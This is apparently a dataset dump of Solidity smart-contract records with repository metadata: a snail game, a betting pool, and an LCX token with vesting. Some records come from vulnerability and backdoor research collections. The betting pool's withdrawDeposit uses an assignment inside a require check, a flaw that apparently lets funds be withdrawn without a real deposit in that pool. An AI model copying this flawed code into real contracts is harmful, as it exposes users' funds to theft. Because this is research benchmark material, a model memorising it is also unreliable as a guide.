require(hatcherySnail[msg.sender] >= _tokensSold, "not enough snails to sell");
//Call ClaimDivs so ETH isn't blackholed
ClaimDivs();
//Check token price, sell price is half of current buy price
uint256 _tokenSellPrice = ComputeTokenPrice();
_tokenSellPrice = _tokenSellPrice.div(2);
//Check maximum ETH that can be obtained = 10% of SnailPot
uint256 _maxEth = snailPot.div(10);
//Check maximum amount of tokens that can be sold
uint256 _maxTokens = _maxEth.div(_tokenSellPrice);
//Check if player tried to sell too many tokens
if(_tokensSold > _maxTokens) {
_tokensSold = _maxTokens;
}
//Calculate sell reward, tokens * price per token
uint256 _sellReward = _tokensSold.mul(_tokenSellPrice);
//Remove reserve ETH
snailPot = snailPot.sub(_sellReward);
//Remove tokens
hatcherySnail[msg.sender] = hatcherySnail[msg.sender].sub(_tokensSold);
maxSnail = maxSnail.sub(_tokensSold);
//Adjust player claimed divs
claimedDivs[msg.sender] = claimedDivs[msg.sender].sub(divsPerSnail.mul(_tokensSold));
//Give ETH to player
playerEarnings[msg.sender] = playerEarnings[msg.sender].add(_sellReward);
emit SoldSnail(msg.sender, _sellReward, _tokensSold);
}
// HatchEgg
// Turns player eggs into snails
// Costs half the ETH of a normal buy
function HatchEgg() public payable {
require(gameStarted == true, "game hasn't started yet");
require(msg.value > 0, "need ETH to hatch eggs");
//Check how many eggs the ether sent can pay for
uint256 _tokenPrice = ComputeTokenPrice().div(2);
uint256 _maxHatch = msg.value.div(_tokenPrice);
//Check number of eggs to hatch
uint256 _newSnail = ComputeMyEggs(msg.sender);
//Multiply by token price
uint256 _snailPrice = _tokenPrice.mul(_newSnail);
//Refund any extra ether
uint256 _ethUsed = msg.value;
if (msg.value > _snailPrice) {
uint256 _refund = msg.value.sub(_snailPrice);
playerEarnings[msg.sender] = playerEarnings[msg.sender].add(_refund);
_ethUsed = _snailPrice;
}
//Adjust new snail amount if not enough ether
if (msg.value < _snailPrice) {
_newSnail = _maxHatch;
}
//Adjust player divs
claimedDivs[msg.sender] = claimedDivs[msg.sender].add(_newSnail.mul(divsPerSnail));
//Change maxSnail before div calculation
maxSnail = maxSnail.add(_newSnail);
//Divide incoming ETH
PotSplit(_ethUsed, msg.sender, false);
//Add new snails
lastHatch[msg.sender] = now;
hatcherySnail[msg.sender] = hatcherySnail[msg.sender].add(_newSnail);
emit HatchedSnail(msg.sender, _ethUsed, _newSnail);
}
// PotSplit
// Called on buy and hatch
function PotSplit(uint256 _msgValue, address _ref, bool _buy) private {
//On token buy, 50% of the ether goes to snailpot
//On hatch, no ether goes to the snailpot
uint256 _eth = _msgValue;
if (_buy == true) {
_eth = _msgValue.div(2);
snailPot = snailPot.add(_eth);
}
//20% distributed as divs (40% on hatch)
divsPerSnail = divsPerSnail.add(_eth.mul(2).div(5).div(maxSnail));
//20% to FrogPot (40% on hatch)
frogPot = frogPot.add(_eth.mul(2).div(5));
//2% to Pharaoh (4% on hatch)
playerEarnings[pharaoh] = playerEarnings[pharaoh].add(_eth.mul(2).div(50));
//2% to SnailGod pot (4% on hatch)
godPot = godPot.add(_eth.mul(2).div(50));
//Check for referrals (300 snails required)
//Give 6% to referrer if there is one
//Else give 6% to SnailGod pot
//Always give 12% to SnailGod pot on hatch
if (_ref != msg.sender && hatcherySnail[_ref] >= SNAIL_REQ_REF) {
playerEarnings[_ref] = playerEarnings[_ref].add(_eth.mul(6).div(50));
} else {
godPot = godPot.add(_eth.mul(6).div(50));
}
}
// FeedEgg
// Sacrifices the player's eggs to the FrogPot
// Gives ETH in return
function FeedEgg() public {
require(gameStarted == true, "game hasn't started yet");
//Check number of eggs to hatch
uint256 _eggsUsed = ComputeMyEggs(msg.sender);
//Remove eggs
lastHatch[msg.sender] = now;
//Calculate ETH earned
uint256 _reward = _eggsUsed.mul(frogPot).div(maxSnail);
frogPot = frogPot.sub(_reward);
playerEarnings[msg.sender] = playerEarnings[msg.sender].add(_reward);
emit FedFrogking(msg.sender, _reward, _eggsUsed);
}
// AscendGod
// Distributes SnailGod pot to winner, restarts timer
function AscendGod() public {
require(gameStarted == true, "game hasn't started yet");
require(now >= godTimer, "pharaoh hasn't ascended yet");
//Reset timer and start new round
godTimer = now + GOD_TIMER_START;
pharaohReq = PHARAOH_REQ_START;
godRound = godRound.add(1);
//Calculate and give reward
uint256 _godReward = godPot.div(2);
godPot = godPot.sub(_godReward);
playerEarnings[pharaoh] = playerEarnings[pharaoh].add(_godReward);
emit Ascended(pharaoh, _godReward, godRound);
//msg.sender becomes pharaoh
pharaoh = msg.sender;
}
// BecomePharaoh
// Sacrifices snails to become the Pharaoh
function BecomePharaoh(uint256 _snails) public {
require(gameStarted == true, "game hasn't started yet");
require(hatcherySnail[msg.sender] >= _snails, "not enough snails in hatchery");
//Run end round function if round is over
if(now >= godTimer) {
AscendGod();
}
//Call ClaimDivs so ETH isn't blackholed
ClaimDivs();
//Check number of snails to remove from pharaohReq
uint256 _snailsToRemove = ComputePharaohReq();
//Save claim time to lower number of snails later
lastClaim = now;
//Adjust pharaohReq
if(pharaohReq < _snailsToRemove){
pharaohReq = PHARAOH_REQ_START;
} else {
pharaohReq = pharaohReq.sub(_snailsToRemove);
if(pharaohReq < PHARAOH_REQ_START){
pharaohReq = PHARAOH_REQ_START;
}
}
//Make sure player fits requirement
if(_snails >= pharaohReq) {
//Remove snails
maxSnail = maxSnail.sub(_snails);
hatcherySnail[msg.sender] = hatcherySnail[msg.sender].sub(_snails);
//Adjust msg.sender claimed dividends
claimedDivs[msg.sender] = claimedDivs[msg.sender].sub(_snails.mul(divsPerSnail));
//Add 8 minutes to timer
godTimer = godTimer.add(GOD_TIMER_BOOST);
//pharaohReq becomes the amount of snails sacrificed + 40
pharaohReq = _snails.add(PHARAOH_REQ_START);
//msg.sender becomes new Pharaoh
pharaoh = msg.sender;
emit BecamePharaoh(msg.sender, godRound);
}
}
// fallback function
// Distributes sent ETH as dividends
function() public payable {
divsPerSnail = divsPerSnail.add(msg.value.div(maxSnail));
emit NewDivs(msg.value);
}
// VIEW
// ComputePharaohReq
// Returns number of snails to remove from pharaohReq
// Snail requirement lowers by 1 every 12 seconds
function ComputePharaohReq() public view returns(uint256) {
uint256 _timeLeft = now.sub(lastClaim);
uint256 _req = _timeLeft.div(GOD_TIMER_INTERVAL);
return _req;
}
// ComputeTokenPrice
// Returns ETH required to buy one snail
// 1 snail = (T_P_FLOOR + (T_P_MULT * total amount of snails)) eth
function ComputeTokenPrice() public view returns(uint256) {
return TOKEN_PRICE_FLOOR.add(TOKEN_PRICE_MULT.mul(maxSnail));
}
// ComputeBuy
// Returns snails bought for a given amount of ETH
function ComputeBuy(uint256 _ether) public view returns(uint256) {
uint256 _tokenPrice = ComputeTokenPrice();
return _ether.div(_tokenPrice);
}
// ComputeMyEggs
// Returns eggs produced since last hatch or sacrifice
// Egg amount can never be above current snail count
function ComputeMyEggs(address adr) public view returns(uint256) {
uint256 _eggs = now.sub(lastHatch[adr]);
_eggs = _eggs.mul(hatcherySnail[adr]).div(TIME_TO_HATCH_1SNAIL);
if (_eggs > hatcherySnail[adr]) {
_eggs = hatcherySnail[adr];
}
return _eggs;
}
// ComputeMyDivs
// Returns unclaimed divs for the player
function ComputeMyDivs() public view returns(uint256) {
//Calculate share of player
uint256 _playerShare = divsPerSnail.mul(hatcherySnail[msg.sender]);
//Subtract already claimed divs
_playerShare = _playerShare.sub(claimedDivs[msg.sender]);
return _playerShare;
}
// GetMySnails
// Returns player snails
function GetMySnails() public view returns(uint256) {
return hatcherySnail[msg.sender];
}
// GetMyEarnings
// Returns player earnings
function GetMyEarnings() public view returns(uint256) {
return playerEarnings[msg.sender];
}
// GetContractBalance
// Returns ETH in contract
function GetContractBalance() public view returns (uint256) {
return address(this).balance;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
| 335,423 | 1,779 |
b9f7524f0585b5bcfae21b0535cc61c840bfbaf54b1e0f3c4cd5a8610cfd98b0
| 16,649 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/e4/e40fdba9b71198fC166C2e6f786361015AD4e47d_poolBet.sol
| 3,756 | 14,839 |
// SPDX-License-Identifier: MIT
pragma solidity 0.8.4;
contract poolBet {
//Add state variables
uint counter;
//Add mappings
mapping(address => uint) public amount;
mapping(address => uint[]) public poolAddressMapping;
mapping(uint => Pool) public poolMapping;
//Add events
event CreatePool(uint indexed id, string poolName, address moderator, uint betAmount);
event Deposit(address indexed user, uint amount, uint poolId);
event RecognizeWinner(address indexed user, address indexed winningAddress, uint poolId);
event UndoRecognizeWinner(address indexed user, address indexed winningAddress, uint poolId);
event ProposeWinner(address indexed winningAddress, address moderator, uint poolId);
event WithdrawDeposit(address indexed user, uint amount, uint poolId);
event WithdrawWins(address indexed user, uint amount, uint poolId);
//constructor
constructor() {
}
enum BetState {
UNLOCKED,
LOCKED,
WINNER_PROPOSED,
SETTLED
}
struct Pool {
uint id;
uint betAmount;
uint totalAmount;
bool isWinnerRecognized;
bool isLocked;
bool isActive;
string name;
address moderator;
address winner;
address[] depositors;
mapping(address => bool) isApproved;
mapping(address => bool) isDeposited;
}
struct ActionSet {
bool canDeposit;
bool canWithdraw;
bool canLock;
bool canUnlock;
bool canRecognizeWinner;
bool canUndoRecognizeWinner;
bool canProposeWinner;
bool canWithdrawWins;
}
function getId() private returns(uint) {
return ++counter;
}
function createPool(string memory name, uint betAmount) public {
uint id = getId();
Pool storage newPool = poolMapping[id];
newPool.id = id;
newPool.name = name;
newPool.moderator = msg.sender;
newPool.betAmount = betAmount;
newPool.totalAmount = 0;
newPool.isWinnerRecognized = false;
newPool.isActive = true;
newPool.isLocked = false;
newPool.isApproved[msg.sender] = false;
newPool.isDeposited[msg.sender] = false;
poolAddressMapping[msg.sender].push(newPool.id);
emit CreatePool(newPool.id, newPool.name, newPool.moderator, newPool.betAmount);
}
modifier onlyModerator(uint poolId) {
Pool storage currentPool = poolMapping[poolId];
require(msg.sender == currentPool.moderator, "Error, only the moderator can call this function");
_;
}
modifier onlyWhenPoolActive(uint poolId) {
Pool storage currentPool = poolMapping[poolId];
require(true == currentPool.isActive, "Error, only the moderator can call this function");
_;
}
function listPoolsByUser(address user) public view returns (uint[] memory) {
return poolAddressMapping[user];
}
function listUsersByPool(uint poolId) public view returns (address[] memory) {
Pool storage currentPool = poolMapping[poolId];
return currentPool.depositors;
}
function fetchActions(uint poolId, address proposedWinnerAddress) public view returns (ActionSet memory) {
Pool storage currentPool = poolMapping[poolId];
bool canDepositAction = !currentPool.isLocked
&& !currentPool.isDeposited[msg.sender]
&& !currentPool.isWinnerRecognized
&& currentPool.isActive;
bool canWithdrawAction = !currentPool.isLocked
&& currentPool.isDeposited[msg.sender]
&& !currentPool.isWinnerRecognized
&& currentPool.isActive;
bool canLockAction = msg.sender == currentPool.moderator
&& !currentPool.isLocked
&& currentPool.isActive
&& currentPool.winner == address(0);
bool canUnlockAction = msg.sender == currentPool.moderator
&& currentPool.isLocked
&& currentPool.isActive
&& currentPool.winner == address(0);
bool canRecognizeWinnerAction = !currentPool.isWinnerRecognized
&& proposedWinnerAddress != address(0)
&& currentPool.winner == proposedWinnerAddress
&& currentPool.isDeposited[msg.sender]
&& !currentPool.isApproved[msg.sender]
&& currentPool.isActive;
bool canUndoRecognizeWinnerAction = !currentPool.isWinnerRecognized
&& proposedWinnerAddress != address(0)
&& currentPool.winner == proposedWinnerAddress
&& currentPool.isDeposited[msg.sender]
&& currentPool.isApproved[msg.sender]
&& currentPool.isActive;
bool canProposeWinnerAction = msg.sender == currentPool.moderator
&& currentPool.winner == address(0)
&& !currentPool.isWinnerRecognized
&& currentPool.isActive
&& currentPool.isLocked
&& currentPool.depositors.length > 0;
bool canWithdrawWinsAction = currentPool.isWinnerRecognized
&& currentPool.isActive
&& msg.sender == currentPool.winner
&& currentPool.winner != address(0)
&& amount[msg.sender] > 0
&& currentPool.totalAmount > 0;
ActionSet memory actions;
actions.canDeposit = canDepositAction;
actions.canWithdraw = canWithdrawAction;
actions.canLock = canLockAction;
actions.canUnlock = canUnlockAction;
actions.canRecognizeWinner = canRecognizeWinnerAction;
actions.canUndoRecognizeWinner = canUndoRecognizeWinnerAction;
actions.canProposeWinner = canProposeWinnerAction;
actions.canWithdrawWins = canWithdrawWinsAction;
return actions;
}
function fetchIsApprovedStatusForAddress(uint poolId, address bettorAddress) public view returns(bool) {
Pool storage currentPool = poolMapping[poolId];
return currentPool.isApproved[bettorAddress];
}
function lockPool(uint poolId) public virtual onlyModerator(poolId) onlyWhenPoolActive(poolId) {
Pool storage currentPool = poolMapping[poolId];
require(!currentPool.isLocked, 'Error, pool is already locked!');
//Add all validations here
currentPool.isLocked = true;
}
function unlockPool(uint poolId) public virtual onlyModerator(poolId) onlyWhenPoolActive(poolId) {
Pool storage currentPool = poolMapping[poolId];
require(currentPool.isLocked, 'Error, pool is already unlocked!');
//Add all validations here
currentPool.isLocked = false;
}
function deposit(uint poolId) payable public virtual onlyWhenPoolActive(poolId) {
Pool storage currentPool = poolMapping[poolId];
//Check if pool is unlocked
//Depositing only allowed when the pool is unlocked
require(!currentPool.isLocked, 'Error, pool needs to be unlocked before depositing funds!');
//Check to see if the winner has not already been recognized by all.
require(!currentPool.isWinnerRecognized, 'Error, the winner has already been set! Cannot deposit now!');
//Check if msg.sender didn't already deposited funds to the pool
//Only 1 deposit per wallet allowed
require(currentPool.isDeposited[msg.sender] == false, 'Error, deposit already found for the current user! Cannot deposit again!');
//Check if msg.value is == betAmount
require(msg.value == currentPool.betAmount, 'Error, deposit must be equal to betAmount!');
currentPool.depositors.push(msg.sender);
currentPool.isDeposited[msg.sender] = true;
currentPool.totalAmount = currentPool.totalAmount + msg.value;
amount[msg.sender] = amount[msg.sender] + msg.value;
bool poolIdExists = false;
for(uint i; i< poolAddressMapping[msg.sender].length; i++) {
if(poolAddressMapping[msg.sender][i] == poolId) {
poolIdExists = true;
}
}
if(!poolIdExists) {
poolAddressMapping[msg.sender].push(poolId);
}
if(currentPool.isActive || currentPool.totalAmount > 0) {
currentPool.isActive = true;
}
emit Deposit(msg.sender, msg.value, poolId);
}
function recognizeWinner(address user, uint poolId) public virtual onlyWhenPoolActive(poolId) {
Pool storage currentPool = poolMapping[poolId];
//Check that the msg.sender is a depositor in the pool.
require(currentPool.isDeposited[msg.sender], 'Error, you need to be a depositor in this pool to recognize a winner!');
//Check that the address is not the default address but a real addreses
require(currentPool.winner != address(0), 'Error, the winner is currently address zero and therefore invalid!');
require(currentPool.winner == user, 'Error, the winner requested to be recognized does not match the winner proposed by the moderator!');
//Check to see if the depositor has already recognized the winner previously
require(!currentPool.isApproved[msg.sender], 'Error, the winner has already been recognized by you!');
//Check to see if the winner has already been recognized by all.
require(!currentPool.isWinnerRecognized, 'Error, the winner has already been decided!');
currentPool.isApproved[msg.sender] = true;
if(isWinnerRecognizedByAll(poolId)) {
currentPool.isWinnerRecognized = true;
}
emit RecognizeWinner(msg.sender, user, poolId);
}
function undoRecognizeWinner(address user, uint poolId) public virtual onlyWhenPoolActive(poolId) {
Pool storage currentPool = poolMapping[poolId];
//Check that the msg.sender is a depositor in the pool.
require(currentPool.isDeposited[msg.sender], 'Error, you need to be a depositor in this pool to undo recognizing a winner!');
//Check that the msg.sender is a depositor in the pool.
require(currentPool.isApproved[msg.sender], 'Error, you need to be a depositor in this pool to undo recognizing a winner!');
//Check that the address is not the default address but a real addreses
require(currentPool.winner != address(0), 'Error, the winner is currently address zero and therefore invalid!');
require(currentPool.winner == user, 'Error, the winner requested to be recognized does not match the winner proposed by the moderator!');
//Check to see if the winner has already been recognized by all.
require(!currentPool.isWinnerRecognized, 'Error, the winner has already been decided!');
currentPool.isApproved[msg.sender] = false;
emit UndoRecognizeWinner(msg.sender, user, poolId);
}
function proposeWinner(address proposedWinnerAddress, uint poolId) public virtual onlyModerator(poolId) onlyWhenPoolActive(poolId) {
Pool storage currentPool = poolMapping[poolId];
//Check that the address is not the default address but a real addreses
require(currentPool.winner == address(0), 'Error, the winner is currently address zero and therefore invalid!');
//Check to see if the winner has not already been recognized by all.
require(!currentPool.isWinnerRecognized, 'Error, the winner has already been set!');
//Check to see if the winner is a depositor in the pool.
require(currentPool.isDeposited[proposedWinnerAddress], 'Error, The winner must be a depositor in the bet pool!');
//Check to see if the pool is locked.
require(currentPool.isLocked, 'Error, The pool must be locked in order to propose a winner!');
//Check to see if there is atleast one depositors in the pool.
require(currentPool.depositors.length > 0, 'Error, There are no depositors in the pool!');
currentPool.winner = proposedWinnerAddress;
setIsApprovedForProposedWinnerAndModerator(poolId);
emit ProposeWinner(proposedWinnerAddress, currentPool.moderator, poolId);
}
//Set moderator and winner isApproved to true.
function setIsApprovedForProposedWinnerAndModerator(uint poolId) private {
Pool storage currentPool = poolMapping[poolId];
for (uint i; i< currentPool.depositors.length; i++) {
if (currentPool.depositors[i] == currentPool.winner || currentPool.depositors[i] == currentPool.moderator) {
currentPool.isApproved[currentPool.depositors[i]] = true;
}
}
}
//Check if all depositors have recognized the winner here for the pool.
function isWinnerRecognizedByAll(uint poolId) private view returns(bool) {
Pool storage currentPool = poolMapping[poolId];
for (uint i; i< currentPool.depositors.length; i++) {
if (!currentPool.isApproved[currentPool.depositors[i]]) {
return false;
}
}
return true;
}
function withdrawDeposit(uint poolId) public virtual onlyWhenPoolActive(poolId) {
Pool storage currentPool = poolMapping[poolId];
//Check that the pool must be active and unlocked for a withdraw of deposit to be successful
require(!currentPool.isLocked && currentPool.isActive, 'Error, pool is either locked or inactive! Cannot withdraw now!');
//Check to see if the winner has not already been recognized by all.
require(!currentPool.isWinnerRecognized, 'Error, the winner has already been set! Cannot withdraw now!');
//User must have had a deposit in the pool to withdraw
require(currentPool.isDeposited[msg.sender] = true, 'Error, only depositors can withdraw their deposited funds!');
//User must have had an amount in the amount mapping
require(amount[msg.sender] > 0 wei);
payable(msg.sender).transfer(currentPool.betAmount);
currentPool.totalAmount = currentPool.totalAmount - currentPool.betAmount;
//Iterate and remove depositor from depositors list in pool
for (uint i; i< currentPool.depositors.length; i++) {
if (currentPool.depositors[i] == msg.sender) {
currentPool.depositors[i] = currentPool.depositors[currentPool.depositors.length - 1];
currentPool.depositors.pop();
}
}
currentPool.isDeposited[msg.sender] = false;
//Check if user has funds and remove funds from user amount mapping
if(amount[msg.sender] > 0 wei) {
amount[msg.sender] = amount[msg.sender] - currentPool.betAmount;
}
emit WithdrawDeposit(msg.sender, currentPool.betAmount, poolId);
}
function withdrawWins(uint poolId) public onlyWhenPoolActive(poolId){
Pool storage currentPool = poolMapping[poolId];
//Check that the pool must be active and unlocked for a withdraw of deposit to be successful
require(currentPool.isActive, 'Error, pool is inactive! Cannot withdraw now!');
require(msg.sender == currentPool.winner, 'Error, only the winner can withdraw funds!');
//Check that the winner is recognized by all bet pool participants
require(currentPool.isWinnerRecognized, 'Error, The winner must be recognized by all bet pool particiapants!');
//Should it be greater than 0 or greater than 0 wei?
require(amount[msg.sender] > 0 && currentPool.totalAmount > 0, 'Error, No wins to withdraw!');
payable(msg.sender).transfer(currentPool.totalAmount);
currentPool.totalAmount = 0;
address depositorAddress;
//Remove amount for each depositor from amount mapping
//Remove isDeposited for each user for pool
for(uint i; i< currentPool.depositors.length; i++) {
depositorAddress = currentPool.depositors[i];
amount[depositorAddress] = amount[depositorAddress] - currentPool.betAmount;
currentPool.isDeposited[depositorAddress] = false;
}
//Deactivate pool
currentPool.isActive = false;
emit WithdrawWins(msg.sender, currentPool.totalAmount, poolId);
}
}
| 127,408 | 1,780 |
35405a2ae2af48cef2bbf70c6b0e7407d8b4043bcaef67ecb902d8271fc5342d
| 20,095 |
.sol
|
Solidity
| false |
504446259
|
EthereumContractBackdoor/PiedPiperBackdoor
|
0088a22f31f0958e614f28a10909c9580f0e70d9
|
contracts/realworld-contracts/0x037a54aab062628c9bbae1fdb1583c195585fe41.sol
| 3,103 | 11,614 |
pragma solidity 0.5.4;
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeERC20 {
using SafeMath for uint256;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
require(token.transfer(to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
require(token.transferFrom(from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(msg.sender, spender) == 0));
require(token.approve(spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
require(token.approve(spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value);
require(token.approve(spender, newAllowance));
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract TokenVesting is Ownable{
using SafeMath for uint256;
using SafeERC20 for IERC20;
struct VestedToken{
uint256 cliff;
uint256 start;
uint256 duration;
uint256 releasedToken;
uint256 totalToken;
bool revoked;
}
mapping (address => VestedToken) public vestedUser;
// default Vesting parameter values
uint256 private _cliff = 2592000; // 30 days period
uint256 private _duration = 93312000; // for 3 years
bool private _revoked = false;
IERC20 public LCXToken;
event TokenReleased(address indexed account, uint256 amount);
event VestingRevoked(address indexed account);
modifier onlyLCXTokenAndOwner() {
require(msg.sender==owner() || msg.sender == address(LCXToken));
_;
}
function setTokenAddress(IERC20 token) public onlyOwner returns(bool){
LCXToken = token;
return true;
}
function setDefaultVesting(address account, uint256 amount) public onlyLCXTokenAndOwner returns(bool){
_setDefaultVesting(account, amount);
return true;
}
function _setDefaultVesting(address account, uint256 amount) internal {
require(account!=address(0));
VestedToken storage vested = vestedUser[account];
vested.cliff = _cliff;
vested.start = block.timestamp;
vested.duration = _duration;
vested.totalToken = amount;
vested.releasedToken = 0;
vested.revoked = _revoked;
}
function setVesting(address account, uint256 amount, uint256 cliff, uint256 duration, uint256 startAt) public onlyLCXTokenAndOwner returns(bool){
_setVesting(account, amount, cliff, duration, startAt);
return true;
}
function _setVesting(address account, uint256 amount, uint256 cliff, uint256 duration, uint256 startAt) internal {
require(account!=address(0));
require(cliff<=duration);
VestedToken storage vested = vestedUser[account];
vested.cliff = cliff;
vested.start = startAt;
vested.duration = duration;
vested.totalToken = amount;
vested.releasedToken = 0;
vested.revoked = false;
}
function releaseMyToken() public returns(bool) {
releaseToken(msg.sender);
return true;
}
function releaseToken(address account) public {
require(account != address(0));
VestedToken storage vested = vestedUser[account];
uint256 unreleasedToken = _releasableAmount(account); // total releasable token currently
require(unreleasedToken>0);
vested.releasedToken = vested.releasedToken.add(unreleasedToken);
LCXToken.safeTransfer(account,unreleasedToken);
emit TokenReleased(account, unreleasedToken);
}
function _releasableAmount(address account) internal view returns (uint256) {
return _vestedAmount(account).sub(vestedUser[account].releasedToken);
}
function _vestedAmount(address account) internal view returns (uint256) {
VestedToken storage vested = vestedUser[account];
uint256 totalToken = vested.totalToken;
if(block.timestamp < vested.start.add(vested.cliff)){
return 0;
}else if(block.timestamp >= vested.start.add(vested.duration) || vested.revoked){
return totalToken;
}else{
uint256 numberOfPeriods = (block.timestamp.sub(vested.start)).div(vested.cliff);
return totalToken.mul(numberOfPeriods.mul(vested.cliff)).div(vested.duration);
}
}
function revoke(address account) public onlyOwner {
VestedToken storage vested = vestedUser[account];
require(!vested.revoked);
uint256 balance = vested.totalToken;
uint256 unreleased = _releasableAmount(account);
uint256 refund = balance.sub(unreleased);
vested.revoked = true;
vested.totalToken = unreleased;
LCXToken.safeTransfer(owner(), refund);
emit VestingRevoked(account);
}
}
contract lcxToken is IERC20, Ownable{
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
TokenVesting public vestingContractAddress;
string public constant name = 'LCX';
string public constant symbol = 'LCX';
uint256 public constant decimals = 18;
constructor(uint256 totalSupply) public{
_totalSupply = totalSupply.mul(10**decimals);
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_transfer(from, to, value);
_approve(from, msg.sender, _allowed[from][msg.sender].sub(value));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].sub(subtractedValue));
return true;
}
function burn(uint256 value) public {
_burn(msg.sender, value);
}
function burnFrom(address from, uint256 value) public {
_burnFrom(from, value);
}
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _approve(address owner, address spender, uint256 value) internal {
require(spender != address(0));
require(owner != address(0));
_allowed[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _burnFrom(address account, uint256 value) internal {
_burn(account, value);
_approve(account, msg.sender, _allowed[account][msg.sender].sub(value));
}
function setTokenVestingAddress(TokenVesting tokenVestingAddress) public onlyOwner returns(bool){
vestingContractAddress = tokenVestingAddress;
return true;
}
function setDefaultVestingToken(address account, uint256 amount) public onlyOwner returns(bool){
vestingContractAddress.setDefaultVesting(account, amount);
_transfer(msg.sender,address(vestingContractAddress), amount);
return true;
}
function setVestingToken(address account, uint256 amount, uint256 cliff, uint256 duration, uint256 startAt) public onlyOwner returns(bool){
vestingContractAddress.setVesting(account, amount, cliff, duration, startAt);
_transfer(msg.sender ,address(vestingContractAddress), amount);
return true;
}
function batchTransfer(address[] memory accounts, uint256[] memory values) public onlyOwner returns(bool){
require(accounts.length == values.length);
for(uint256 i=0;i< accounts.length;i++){
_transfer(msg.sender, accounts[i], values[i]);
}
return true;
}
}
| 146,617 | 1,781 |
588daddca0de204be3e9caa98120e7b8f3a0c7582946c6af858097c1ef47c881
| 15,753 |
.sol
|
Solidity
| false |
287517600
|
renardbebe/Smart-Contract-Benchmark-Suites
|
a071ccd7c5089dcaca45c4bc1479c20a5dcf78bc
|
dataset/UR/0x8b52b019d237d0bbe8baedf219132d5254e0690b.sol
| 3,822 | 15,304 |
pragma solidity 0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
require(a == 0 || c / a == b, "mul overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "div by 0");
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "sub underflow");
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "add overflow");
return c;
}
function roundedDiv(uint a, uint b) internal pure returns (uint256) {
require(b > 0, "div by 0");
uint256 z = a / b;
if (a % b >= b / 2) {
z++;
}
return z;
}
}
contract Restricted {
mapping (address => mapping (bytes32 => bool)) public permissions;
event PermissionGranted(address indexed agent, bytes32 grantedPermission);
event PermissionRevoked(address indexed agent, bytes32 revokedPermission);
modifier restrict(bytes32 requiredPermission) {
require(permissions[msg.sender][requiredPermission], "msg.sender must have permission");
_;
}
